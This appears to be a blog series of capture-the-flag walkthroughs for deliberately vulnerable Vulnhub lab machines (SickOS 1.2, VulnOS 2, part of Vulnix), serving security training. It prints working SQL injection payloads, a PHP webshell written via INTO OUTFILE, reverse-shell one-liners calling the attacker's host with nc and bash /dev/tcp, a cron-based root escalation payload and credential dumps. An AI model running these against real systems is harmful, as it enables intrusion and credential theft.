WRITING FILES USING INTO OUTFILE CLAUSE IN MYSQL

To write a file into the target using MySQL, we can use the INTO OUTFILE clause. But, before doing that, we have to perform the necessary checks to ensure that the target meets the pre-requisites.

I used this old, but incredible exploit-db paper to do this.

Finding the current user

To find out the current user, I passed the following parameter to the POST variable email.

admin' OR 1=1 UNION SELECT 1,2,3,user(),5,6,7,8 LIMIT 2,3 --

We are mysql root user! Sweet!

This means that we should have access to the file system. But, still let’s continue with the prerequisite checks.

Checking if the current user have access to mysql.user table

To find out if we have access to mysql.user table, I passed the following parameter to the POST variable email.

admin' UNION SELECT 1,2,3,concat(user),5,6,7,8  FROM mysql.user LIMIT 1 --

If this returns a username, then we have access to the said table.

And we have access indeed. Duh!

Finding if the user have file privileges

To find out if the user have file privilges, I passed the following parameter to the POST variable email.

admin' UNION SELECT 1,2,3,group_concat(user,0x3a,file_priv),5,6,7,8  FROM mysql.user LIMIT 1 --

The output would of the following format.

User: Have File Privilege or nor (Y or N) and so on..

If the returned string has Y beside the username (here the username is root), then we have file privilege.

And we do have file privilege.

Now, some of you might be confused with the multiple root usernames. That is because the file privilege is different for different hosts. For further clarification, look at the screenshot below.

Hope this clears the ambiguity.

Testing the file permissions using load_file function

We can ensure that the user have file permissions by reading a file from the file system, using the load_file() function.

To read /etc/passwd using the load_file() function, I passed the following parameter to the POST variable email.

admin' UNION SELECT 1,2,3,load_file('/etc/passwd'),5,6,7,8  FROM mysql.user LIMIT 1 -- 

And it worked!

Now, for the final part. Writing the file to the web directory. As far as my research went, mysql has no way of knowing if a said directory is writeable, without writing to it using INTO OUTFILE.

Since it is a OS level permission, it depends on the local user, mysqld is running as.

So, let’s try to write the webshell to /var/www, since that is the web directory as revealed by the elaborate SQL error shown at the beginning of our SQL injection.

I passed the following parameter to the POST variable email, to write a simple PHP webshell that receives command from a GET variable.

admin' OR 1=1 UNION SELECT 1,2,3,char(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62),5,6,7,8 INTO OUTFILE '/var/www/test.php' -- 

Notice the char function with comma separated digits? That’s decimal representation of the following ASCII PHP reverse shell code.

<?php system($_GET["cmd"]); ?>

I used CyberChef website to convert the ASCII to it’s comma separated decimal representation.

I got an error in the output as shown below.

However, this error doesn’t matter. Even if it shows the error, the file has written successfully to /var/www.

Let’s navigate to http://192.168.1.5/test.php?cmd=id to verify it’s existence.

And we’ve got code execution!

Now, let’s use this to get a reverse shell. I passed the following parameter to the GET variable cmd to get a reverse shell. I used the Weibell reverse shell generator to generate the payload.

touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.12 9001 > /tmp/f

Keep in mind that I used BurpSuite to URL encode all of the payloads, including the reverse shell payload.

And I got a shell!

Upon the initial LinPeas enumeration, I found the kernel is pretty old and that the MySQL service is running as root user.

Linux kernel 2.6.38 is vulnerable to dirtyc0w

Also, since MySQL is a superuser, if we can login to MySQL, then we can get a root shell.

LinPeas has also extracted a MySQL password.

I tried login to MySQL with this password, but the login was denied for some reason.

I then tried dan’s password killerbeesareflying, but without any luck.

There was something fishy about the login denied in MySQL, as LinPeas has reported that the password was indeed found in /var/www/mysqli_connect.php.

So, I inspected the source code of login.php. The login script included the MySQL conenction file using the variable MYSQL and the file included a configuration script from the directory includes/config.inc.php.

Contents of login.php

The config.inc.php file contained the following line, which declared the MYSQL

Contents of includes/config.inc.php file

Everything seems right. But, this is actually a clever way to keep the attackers confused about the actual file location.

Even though the configuration says mysqli_connect.php file is located at one directory above the current directory, this doesn’t mean that the mysqli_connect file is located at /var/www. The actual file is located at /var directory.

How does that work?

Great question. Let me explain.

How include function in PHP works

In PHP, if we include a file, the code inside the included file gets included in the parent file, before the server executes the parent file.

For example, if I write a file include.php with the below content.

<?php echo("Contents of include.php"); ?>

And I included the include.php file in another file named parent.php, with the following contents.

<?php 
echo("Contents of parent.php\n"); 
include('include.php');
?>

And execute parent.php, we get the following output.

So, when in the target, when the login.php includes includes/config.inc.php, the relative path ../mysqli_connect.php will change from /var/www to /var ; as /var is the directory just above /var/www where login.php is located.

So, the actual mysqli_connect.php file is located at /var. Let’s see that file.

So, the real password to root MySQL account is root@ISIntS.

That was a valid password for mysql. So, I tried to escalate privileges using the following command.

mysql -u root -e '\! /bin/bash' -p

But, unfortunately that failed. 😢

So, I tried to su as mysql user, since the /etc/passwd file indicated that mysql user has a login shell.

But, the password showed authentication failure when i tried that. 😢

Frustrated, I decided to su as root with this password.

And it worked! Woot!

And we are root! The good old credential reuse came to my rescue here!

Final Thoughts

Overall this felt like a beginner machine for me, but with some slight, but important twists. The main one being the location of mysqli_connect.php file.

The author cleverly placed the original mysqli_connect.php file at /var instead of /var/www as files under /var/www and /var/backups will be reported by local enumeration scripts such as linpeas. He also did some PHP tricks to cleverly manipulate the attacker by placing a dummy mysqli_connect.php file at /var/www and he used the relative path in config.inc.php.

I really liked the author’s way of hiding the important things in attacker’s obvious blindspots as he will be forced to realize them and forced to overcome the blindspots. So, in a way he was exploiting the attacker! 😅 Cool work!

I also liked the fact that there is more than one vector to gain access in the target.

As I said earlier, the walkthrough from hackingarticles showed exploiting a vulnerability in the Simple PHP Blog 0.4.0 software hosted at the /blog directory we found earlier.

The article explains exploiting the vulnerability to create an account and using that credentials, uploading a PHP web shell into the target via an unsanitized image uploader.

This is the alternate vector on gaining the initial foothold and intended path of exploitation.

Overall this was a great machine and I really enjoyed solving it!

OSCP like Vulnhub machines: SickOS: 1.2

Download VM

SickOS 1.2 is a beginner-intermediate boot2root machine developed by D4rk.

The initial foothold was the most painstaking part of this machine as it was fairly straight forward but with little twist. Because of those twists, I wasn’t sure my payload was working or not, even if they were working perfectly.

This twist helped me to reiterate the valuable lesson that, always analyze the outputs in a logical and calm way. In my case, I was stressed and instead of sticking to the methodology, I started testing random things; where the solution was right in front of me the whole time!

Even though the privesc vector was easier than getting the initial foothold; I actually missed it on my first iteration of local enumeration. I had to carefully read the output of linpeas again line by line to saw what I was missing. Nevertheless, this was a great machine!

N.B: Keep in mind that this box works only with VMWare. If you want to run this VM in Virtualbox, you have to patch the configuration file as mentioned in the VM’s page.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.6.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.6

And the output is as follows.

Nmap scan report for 192.168.1.6
Host is up (0.00021s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 AA:22:CC:44:DD:66:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 AA:22:CC:44:DD:66:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 AA:22:CC:44:DD:66:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: AA:22:CC:44:DD:66 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have two services running. SSH and HTTP.

From the SSH banner, I approximated the OS version as Ubuntu 12.04 Precise Pangolin.

Now the web server is an unusual one. The target is running lighthttpd.

Navigating to the webserver with a browser showed the following.

Good thought exercise.

I requested /index.php to verify that the server is running PHP on the backend. The target responded to /index.php and now we know that the server is running PHP.

There was a >>> symbol near the meme. I looked at the source code to look for clues.

It was a rabbit hole

Moving on…

I started gobuster using the following command.

gobuster dir -u http://192.168.1.6/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php | tee gobuster

Gobuster found a single directory called /test/ . Navigating to /test/ showed the following.

We can see an empty directory list as well as the lighthttpd version

So, I searchsploit-ed the lighthttpd version to see if there is any potential exploits for it.

There were a few exploits for lighthttpd, but there was none for version 1.4.28. Turns out that was a rabbit hole too!

Moving on..

Since there is nothing in /test directory, I started gobuster-ing inside /test directory for files or directories within /test.

And unfortunately, there wasn’t any files inside the said directory.

At this point my arsenal was almost empty. There was only two options for me to move forward Analyze the requests via Burp and a nikto scan.

So I did both.

Analyzing the request via Burp didn’t find anything interesting (except a wordpress test cookie and some analytical cookies; which were rabbit holes).

So, I tried the nikto scan.

nikto -h 192.168.1.6

Nikto also couln’t find anything interesting, except the PHP version.

As a last resort, I searchsploit-ed the PHP version, but there wasn’t any interesting vulnerabilities (except some DoS exploits).

At this point, I have tried everything and I have obtained no valuable information in return.

In desperation, I decided to approach this with a fresh POV and decided to perform an all ports scan.

nmap -sCV -p- -v -oN all 192.168.1.6

The scan result was exactly the same as the one we did in the beginning of the enumeration.

Moving O.. Wait. What!?

I must’ve been stressed out, or wasn’t attentive when I first read the Nmap output. Because I have found another door I haven’t knocked yet in the Nmap scan.

There was an HTTP OPTIONS method, I haven’t checked yet. If we request a webpage using the OPTIONS method, the webserver will respond with the  information about the communication OPTIONS available for the target server.

If the target server supports PUT method, then we could theoretically upload a custom file (say a web shell) to the server and execute it.

Let’s find out the OPTIONS available in the server using Curl.

curl -X OPTIONS -v 192.168.1.6

Where -X is used to specify the connect method and -v is used to specify Curl to produce verbose output.

But, the server didn’t respond to our OPTIONS request.

I was confused. Nmap clearly said the OPTIONS method is available. Then why isn’t the server responding.

That’s when I remembered about the /test directory. It had directory listing and If we could upload files using the PUT method, then could access it from /test. It seemed a possible solution and I requested the /test directory with the OPTIONS method.

curl -X OPTIONS -v 192.168.1.6/test/
Well, well; Look what we have here!

The /test directory indeed had the PUT method!

Now, it’s just a matter of uploading a PHP webshell to /test (since we already found the server is running PHP) and execute it.

Nmap has a script to do just this. It is called http-put.nse.

I decided to copy a PHP shell from the laudanum package into my pwd.

cp /usr/share/laudanum/php/php-reverse-shell.php shell.php

I edited the file, replaced the IP address with mine and the port as 9001 .

Now, to upload the shell.php file to the server using Nmap, we have to use the http-put script and pass the source and destination locations via the script arguments. The syntax is as follows.

nmap -p 80 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='shell.php' 192.168.1.6

Where http-put.url flag specifies the destination in the target and http-put.file is the source file we are uploading.

Let’s see the uploaded file can bee seen at /test.

It worked!

I then started the nc listener on port 9001 and clicked the shell.php file. The tab showed promising signs as the request was taking too long to complete.

But, I didn’t get a shell back! 😒

I tried different web shells, resulting in the same behaviour. The request takes too long to complete, but no shell!

I have played with different shell command executing PHP functions like “ (backticks), exec(). passthru() etc. but every function displayed the same behaviour.

Frustrated, I decided to change the web shell to a simple one.

<?php system($_GET["cmd"]); ?>

I uploaded the shell to the site and tried curl-ing the following URL.

curl 192.168.1.6/test/shell.php?cmd=id
And I got code execution!

Don’t mind the \ before the ?; I used it to escape zsh processing.

This was a lesson for me. This incident reminded me again to always go with the simple things first before proceeding to advanced stuff.

So, we have code execution here. Let’s execute the bash reverse shell payload via this vector.

I used the Reverse Shell Generator website to generate the bash payload. This is a super simple, but extremely cool and useful website that generates different payloads, given the IP address and Port number.

On paper, it doesn’t sound much; but oh boy, once you use this website, there is no turning back to PayloadAllTheThings. My workflow is a lot smoother now!

I can’t thank it’s creator Lucian Nitescu enough for his absolute brilliant work! 🤩

Screenshot of Reverse Shell Generator

The payload I copied is shown below.

bash -i >& /dev/tcp/192168.1.11/9001 0>&1

I encoded the payload into Base64 using the following command.

echo -n "bash -i >& /dev/tcp/192168.1.11/9001 0>&1" |base64

I encoded the payload with base64 as the payload contains several special characters and without encoding, it wouldn’t work.

I then passed the following command into the cmd GET variable to execute the payload.

echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTEvNDQzIDA+JjEg"|base64 -d |bash

This command will decode the base64 encoded reverse shell payload and pipe it to bash to execute it.

Since I needed to URL encode the payload, I used Burp Suite to sent the payload.

I sent the request via Burp, but the same thing happened.

The request takes too long and there is still no shell.

I was losing my marbles here. Nothing seems to be working.

Then I decided to ping my machine to find out if the target server can reach my client machine, using the following command.

curl 192.168.1.6/test/shell.php\?cmd=ping+-c+4+192.168.1.11

Ping coulnd’t reach me at all. There is 100% packet loss!

This means that there is some sort of firewall set up in place. So, that means I need to change my reverse shell port to something that is allowed by firewall, to get the shell back.

So, I edited the shell.php file to change the port number to 443 in the payload, re-uploaded the file using Nmap, started netcat listener on port 443 and sent the payload via Burp suite.

And we got a shell back!

Whew!

That was frustrating!

Looks like port 443 was the only port that was allowed for outbound traffic, as I also tried port 80, but it didn’t work.

Anyways, we finally got the shell back; let’s start the local enumeration.

We are the www-data user. There was a folder for user john at /home which I could access, but it wasn’t writeable.

I then moved to /dev/shm directory; downloaded and executed the linpeas.sh for local enumeration using the following command.

wget http://192.168.1.11:443/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh|tee report.txt
Our privesc is in here. Can you spot it?

I didn’t spot it the first time, as I was frustrated and stressed as hell. On my second iteration of reading the linpeas output, I found it.

The green coloured items in linpeas output is the common files. So, anything that is not colored green is a non-standard file. Here, we have four non-standard files.

apt, chrootkit, lighthttpd and standard.

I inspected every script and at first, couldn’t found anything noteworthy.

Then I used pspy to view the processes running. And that’s when I found that chkrootkit is executing periodically.

So, I searched for chkrootkit in linpeas output to check if it was there, and I have found the chkrootkit cronjob I missed!

chrootkit is a script that periodically checks the system for signs of rootkit infection.

I searchsploit-ed chkrootkit and found a privesc exploit for version 0.49.

I checked the chkrootkit version using the following command.

chkrootkit -V
It is a vulnerable version!

The vulnerability is that, chkrootkit executes a file named /tmp/update with root privileges.

So, if we were to place a malicious executable named update at /tmp, then we could get a root shell back! Let’s do just that.

echo "bash -c 'bash -i >& /dev/tcp/192.168.1.11/443 0>&1'" > /tmp/update && chmod +x /tmp/update

Then, I started another nc listener on port 443 and waited. And within one minute, I got a shell back!

Woot!

There is a flag file at /root, in which the author explains his thought process, while developing this box.

I truly support and appreciate his motive.

There is also an IPTables rules file, which explains why we couldn’t get shell back when we tried port 9001.

So, by analyzing the IPTables rule, we can see that the outbound ports 443 and 8080 are allowed.

And that’s it. That’s the box.

Lot of manual enumerations and as the author intended, it really showed that we have to enumerate deep to find such hidden vulnerabilities, that might go unnoticed from automated scanners.

Cheers to D4rk for creating such an awesome machine!

OSCP like Vulnhub machines: VulnOS: 2

Download VM

VulnOS :2 is an easy-intermediate boot2root machine developed by c4b3rw0lf. The initial enumeration was fairly straightforward. However, the intial entry point was a little CTF like. Nevertheless, it was a great learning experience and it demonstrated the cognitive blind spots many have. Also, the initial foothold has taught me a little bit more about SQL injection. The privilege escalation was fairly straight forward, but with rabbit holes here and there.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.9.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.9

And the output is as follows.

Nmap scan report for 192.168.1.9
Host is up (0.00014s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 AA:22:CC:44:DD:66:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
|   2048 AA:22:CC:44:DD:66:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
|   256 AA:22:CC:44:DD:66:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_  256 AA:22:CC:44:DD:66:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open  irc     ngircd
MAC Address: AA:22:CC:44:DD:66 (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is only three ports open. I am going to go after port 80. But, before that, I want to enumerate the OS version, since the SSH version is leaking it’s version.

Googling the SSH banner has found fruitful and the version was found as Ubuntu 14.04 Trusty Tahr.

Now that we’ve got the OS version, let’s target the web server.

Website running at port 80

Clicking on the hyper link at the bottom lead us to the following web site.

Contents of 192.168.1.9/jabc/

It was a hypothetical website that sells Humanoid A.I robots.

I started gobuster on both the root / website and /jabc websites and continued to browse the /jabc website. Gobuster only found some standard directories and nothing interesting.

The whole website was in black colour and there was some text hidden in the documents page.

The hidden text mentioned another website at /jabcd0cs

I navigated to /jabcd0cs and found a website running OpenDocMan.

The version of OpenDocMan was leaking in the bottom banner

OpenDocMan is a free an open source document management system. I initially thought of uploading a malicious document and gain shell on the target that way.

With that in mind, I created an account and logged into OpenDocMan.

Signing up for OpenDocMan

I could upload a php reverse shell file into OpenDocMan (since OpenDocMan is using PHP) by bypassing their file filters. I used the same technique used to solve fristileaks.

shell.php uploaded into the server

However, no matter what ever I tried, there was no way for executing the shell.php file.

Moving on..

Remember we have got the version number from OpenDocMan page? I decided to searchsploit the version number and sure enough there was an exploit for OpenDocMan!

There were two vulnerabilities in OpenDocMan. Amongst them, there was a SQL Injection vulnerability.

So, I copied the URL provided in the vulnerability document and modified the hostname with the IP address and the /jabcd0cs directory name, so that the final URL look like the following.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

And it worked!

Since we have a SQL Injection vulnerability, we can write a shell.php file into the Web server’s directory and execute it to gain the shell this way OR we can dump the credentials in the database and test that credentials against the SSH service to check for password reuse and gain shell that way.

I can do this in two way. One is to manually enumerate the databases, tables and dump data that way OR I can use SQLMap to do the hardwork for me.

And I decided to exploit this both ways.

The Manual Way

To dump data from databases, we need to enumerate the name of databases, tables and columns. Before doing all of that, we have to confirm the backend DBMS to structure our queries.

But notice the POC URL ; it contains the string version() in URL encoded format.

select version() is the query used in MySQL and PostgreSQL to print the version of the DBMS. To confirm the actual DBMS flavor, we can google the version number extracted via the above command.

And we got the DBMS as MySQL

Now let’s start enumerating the databases. To display the current database in MySQL, we can use the select database() query.

I caught the request via burp suite and replaced the version() with database() and send the request. The URL is as follows.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9
The current database is named jabcd0cs

Now let’s see if there are any other interesting databases other than jabcd0cs using the following URL.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,concat(schema_name),3,4,5,6,7,8,9+FROM+information_schema.schemata--

Here, I used the following command to retrieve the list of all databases.

SELECT concat(schema_name) FROM information_schema.schemata

The concat() function is used to concatenate strings returned from the query under a single column.

There are a total of six databases

drupal7 and phpmyadmin looks interesting, but the most interesting database here is still jabcd0cs. So, let’s enumerate jabcd0cs first and if there isn’t anything interesting, then we could go to the others.

I used the following URL to fetch all the tables in the database jabcd0cs.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,table_name,3,4,5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema=char(106,97,98,99,100,48,99,115)--

The query in the above URL is as follows.

select table_name from information_schema.tables where table_schema=char(106,97,98,99,100,48,99,115)

Notice the char function and the following numbers? That is the decimal value of the ASCII string jabcd0cs.

The actual query would look like the following if we removed the char function and it’s succeeding numbers.

select table_name from information_schema.tables where table_schema='jabcd0cs'

We replaced 'jabcd0cs' with char(106,97,98,99,100,48,99,115) because sometimes the ‘ character will be discarded by MySQL and the query won’t execute correctly. Reference

The char() function is used to decode the decimals to corresponding ASCII values.

I used this site to convert ASCII string to decimal equivalent values.

If you are observant enough, then you might have also noticed the trailing double hyphen characters (–) in the URL. The double hyphen characters are used to specify a comment in MySQL. So, by — , that means we are commenting out the rest of the MySQL statement.

All of the above queries like enumerating database, tables etc. where working flawlessly without the double hyphen. But for some reason, this URL didn’t work until I used the double hyphen.

Oh well!

And we got these tables.

Among these, odm_user table looks interesting. Let’s enumerate the column names for the table using the following URL.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201%2ccolumn_name%2c3%2c4%2c5%2c6%2c7%2c8%2c9%20from%20information_schema.columns%20where%20table_name%3dchar(111%2c100%2c109%2c95%2c117%2c115%2c101%2c114)--

Here, the decimal converted string is odm_user.

The actual query would look like the following.

select column_name from information_schema.columns where table_name=char(111,100,109,95,117,115,101,114)

And we got the column names of the table as shown below.

Let’s dump the contents of columns username and password from table odm_user. We can do only one column at a time.

I used the following URL to dump the contents of the column username from table odm_user.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201%2cusername%2c3%2c4%2c5%2c6%2c7%2c8%2c9%20from%20odm_user--

The actual query would be like the following.

select username from odm_user

We don’t have to specify the database name here since the current database is jabcd0cs.

The user webmin looks interesting.

We got the usernames. Now, let’s export the passwords in the same way.

I used the following URL to dump the contents of the column username from table odm_user.

http://192.168.1.9/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201%2cpassword%2c3%2c4%2c5%2c6%2c7%2c8%2c9%20from%20odm_user--

The actual query would be like the following.

select password from odm_user

I copied the hashes and looked in hashid to find out the hash type.

Hashid listed several hash possibilities.

But in my limited experience, whenever hashid behaves like this, the hash type typically would be MD5.

So I used an online MD5 decrypter and decrypted the hash.

webmin1980 is the password

Great!

Now, let’s try this SQL injection again with SQLMap.

The SQLMap Way

Using SQLMap to attack the target is actually pretty staright forward. We don’t have to specify the URL, parameters etc.

We can simply save the Burp request that exploits the vulnerability to a file and point sqlmap to it.

sqlmap -r request.req

Hre request.req is the request file saved from burp suite. Doing so will start sqlmap and it will start attacking.

But since we already know what DBMS the target is running and what parameter is vulnerable, we can specify them to reduce the footprint and time required.

sqlmap -r request.req --dbs -p add_value --dbms mysql --batch
Databases enumerated by SQLMap

The --dbs is used to specify SQLMap to enumerate databases, -p is to specify the vulnerable parameter, --dbms is used to specify the target’s DBMS type and finally --batch is used to never ask for user input, use the default behavior.

Now, we can use it to enumerate tables from a database using the following command.

sqlmap -r request.req --tables -D jabcd0cs -p add_value --dbms mysql --batch

Here, we use the -D to enumerate tables from the specified database.

Tables of jabcd0cs dumped

Now, let’s dump the data from the table odm_user using the following command.

sqlmap -r request.req --dump -D jabcd0cs -T odm_user -p add_value --dbms mysql --batch

Here --dump is used to instruct SQLMap to dump data from table and -T is used to specify which table to dump data from.

As we can see, by default SQLMap has dumped the credentials, cracked one hash and stored the passwords in a csv file.

This is the default behaviour of SQLMap and this makes SQLMap and incredibly powerful and useful tool in a hacker’s arsenal.

Now that the credentials have been dumped, the next thing to try is to check for password reuse in SSH. Let’s try just that.

And we’re in!
GIF rami malek - animated GIF on GIFER

Looking at /home directory showed two directories namely vulnosadmin and webmin.

The vulnosadmin directory wasn’t accessible and the webmin directory had the source code of THC-hydra. (Which was a rabbit hole)

The server also had ngirc server running at port 6667 (which might be another rabbit hole).

I also tried sudo -l to find if webmin is in sudoers list. But webmin wasn’t in sudoers.

I then uploaded linpeas.sh to find out any privesc vectors. I have found our the kernel to be vulnerable; but, apart from that and a possible credential to the ngircd, no interesting privilege escalation vectors was found! 😢

Oh well!

The linux kernel of the target was Linux 3.13.0-24-generic. And I found one.

The target had gcc. So, I copied the code to target and used the following commands to compile and execute the exploit on target.

gcc 37292.c -o exp
./exp
Woot! and we’re root!

And as flags, there was a blender file in the /home/vulnosadmin directory and a flag.txt file in the /root directory.

Opening the blender file revealed a box. Moving the box revealed a string.

ab12fg//drg

which was the password for the root account. That was a cool and creative way to reveal root user’s password, as almost no CTF creators will reveal the root password.

Kudos to c4b3rw0lf.

Overall this was a good box.

I enjoyed and learned so much in solving this machine.

OSCP like Vulnhub machines: HackLAB: Vulnix

Download VM

Vulnix was an intermediate boot2root machine from abatchy’s OSCP like vulnhub machines series. This was actually a great box and the first machine in this series that didn’t had a Web server running. The initial enumeration was actually a bit confusing for me since there was no direct web interface to begin with. This machine initially made me doubt my enumeration skills, but in the end taught me several new things and gave reassurance to my gut feelings. The initial foothold was the hardest part for me, but it was real life like and was totally worth it. The privesc was relatively simpler than the initial foothold process.

Kudos to the creator Reboot User for creating such a cool realistic box.

SPOILER! Note: I had encountered an issue where the mounted NFS share didn’t had any space left due to some issue with the NFS export. Due to this, I couldn’t even create a directory in the share even as the intended user. So, I had to delete the virtual machine and extract the vulnix.zip archive again to solve this issue.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.3.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.6

And the output is as follows.

Nmap scan report for 192.168.1.3
Host is up (0.0019s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 AA:22:CC:44:DD:66:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 AA:22:CC:44:DD:66:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 AA:22:CC:44:DD:66:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp   open  smtp       Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-02-16T13:49:11+00:00; +2s from scanner time.
79/tcp   open  finger     Linux fingerd
|_finger: No one logged on.\x0D
110/tcp  open  pop3?
|_ssl-date: 2021-02-16T13:49:11+00:00; +2s from scanner time.
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      44977/udp   mountd
|   100005  1,2,3      52397/udp6  mountd
|   100005  1,2,3      58380/tcp   mountd
|   100005  1,2,3      59663/tcp6  mountd
|   100021  1,3,4      44214/tcp6  nlockmgr
|   100021  1,3,4      44422/udp6  nlockmgr
|   100021  1,3,4      46337/udp   nlockmgr
|   100021  1,3,4      56714/tcp   nlockmgr
|   100024  1          35222/udp   status
|   100024  1          46266/tcp6  status
|   100024  1          52874/udp6  status
|   100024  1          53557/tcp   status
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
143/tcp  open  imap       Dovecot imapd
|_ssl-date: 2021-02-16T13:49:11+00:00; +2s from scanner time.
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  tcpwrapped
993/tcp  open  ssl/imaps?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:22
| Not valid after:  2022-09-02T17:40:22
| MD5:   2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2021-02-16T13:49:11+00:00; +2s from scanner time.
995/tcp  open  ssl/pop3s?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:22
| Not valid after:  2022-09-02T17:40:22
| MD5:   2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2021-02-16T13:49:11+00:00; +2s from scanner time.
2049/tcp open  nfs_acl    2-3 (RPC #100227)
MAC Address: AA:22:CC:44:DD:66 (VMware)
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s

The machine was leaking OS version via the OpenSSH’s banner. I found the version of the Operating System as Ubuntu 12.4 Precise Pangolin, which dated approximately around 2014-2016.

There was several services open including SMTP, POP3, SSH, NFS, RPC etc.

Since NFS (Network File System) is a potential vector. I decided to go with NFS. To interact with a Network File System, we have to install a toolkit. For debian based systems, it is called nfs-common (available via apt) and nfs-utils for arch based systems.

Kali Linux has those tools pre-installed. So, let’s use the showmount command to view the NFS share in the target.

showmount -e 192.168.1.3
There was an NFS share for the directory /home/vulnix

The asterix means that any IP address/hostname can mount the NFS share.

So, I used the following commands to create a new directory in my machine and mount the NFS share to the newly created directory. The below command will mount the NFS share /home/vulnix to my local directory mynfs.

mkdir mynfs
sudo mount -t nfs 192.168.1.3:/home/vulnix mynfs

Once the file system has been mounted, I can access the Network Share just like a local directory. Pretty neat, Right? 🤩

Once the file system was mounted, I tried to cd into the mynfs directory.

